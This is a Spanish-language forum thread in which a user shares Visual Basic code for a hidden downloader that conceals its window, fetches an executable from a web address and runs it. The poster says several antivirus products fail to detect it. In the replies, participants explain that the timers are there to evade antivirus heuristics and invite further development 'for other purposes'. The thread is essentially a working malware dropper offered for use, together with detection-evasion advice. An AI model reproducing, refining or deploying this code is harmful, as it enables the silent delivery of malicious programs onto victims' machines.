mini y simple donwloader ejemplo

[?¿?]

buenas, queria compartir un codigo sin fines maleficos simplemente para demostrar que se puede hacer aunque algunos firewalls lo detecten.

kav, nod32, panda, avg, norton, mcafee, etc, no lo detectan, firewalls ya no se, pero mi fw xp no lo detecta por lo menos, saludos, aquí dejo el codigo.

Código [Seleccionar] Expandir

Dim ejecutar As Long
Dim download As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.Hide
End Sub

Private Sub Timer1_Timer()
Me.Visible = False
download = URLDownloadToFile(0, "http://download.hijackthis.eu/HJTInstall.exe", "c:\ejemplohijackthis.exe", 0, 0)
Timer1.Enabled = False
End Sub

Private Sub Timer2_Timer()
ejecutar = ShellExecute(Me.hwnd, "Open", "c:\ejemplohijackthis.exe", "", "", 1)
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Unload Me
End Sub

comenten, den ideas, opinen pero no falten al respeto, solo pido que se trate con el mismo respeto, gracias. 

[WestOn]

comenten, den ideas, opinen pero no falten al respeto, solo pido que se trate con el mismo respeto, gracias. 

¿Quien te ha faltado al respeto anteriormente?..
¿Eres......? xD

un saludo

PD:Yo le pondria el Me.visible = false en el Form_load()
y los tiempos de los timers

[?¿?]

no simplemente lo dije porque he visto que en este foro hay chavales o gente que suele tener mala educacion y tratan bastante mal a la gente...solo por esa gente lo dije por ese grupo minoritario, descuida no lo digo por ti, saludos

[?¿?]

WESTON: no cres, que eso de poner visible = false en el form load haga que sea muy agresivo para los avs y asi sea mas detectado???....  de momento solo detectan 4 segun mis pruebas las que hice. una vez una persona me dijo eso...por eso lo hice asi pero bueno alomejor tu te basas en otra cosa, no se si puedes explicarte, saludos, gracias men. 

[WestOn]

no te alteres hombre q no es para tanto, puedes hacer lo q kieras respecto a tu code...

PD:Yo no me comeria la cabeza en camuflar ese code

[s E t H]

o entiendo para que usas los timers.. si la idea es hacer una pausa podes usar esto:

Código [Seleccionar] Expandir

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

[seba123neo]

mmm la api Sleep no devuelve el control de la aplicacion (en este caso ya se que no importa)  pero trata de usar la funcion Timer con DoEvents o la api GetTickCount que no son como la Sleep que te "traba" todo...

saludos.

[Zeroql]

es sencillo pero eficiente el code solo faltan algunos ajistes y te keda perfecto.

[~~]

No entiendo para que usas los timers.. si la idea es hacer una pausa podes usar esto

No es para hacer ninguna pausa, es para eludir la eurística, no esty seguro de que un slepp funcionase para eso..

[?¿?]

sí, efectivamente EON !! lo hice porque nod32 le gusta cantar. si lo haces de ese modo pues se que mudo, si es sencillo como alguien por ahí dijo, aver si algunos aporta: opciones......algo de codigo( pistas para codear yo ) etc, aver si queda mas full y asi compartimos el codig o para cualquiera que quiera comprobarlo como funciona o como usar ese ejemplo con otros fines, no se....yo hace tiempo no no prendo el vb tengo que cojerle el hilo, gracias por sus comentarios, hasta otra se cuidan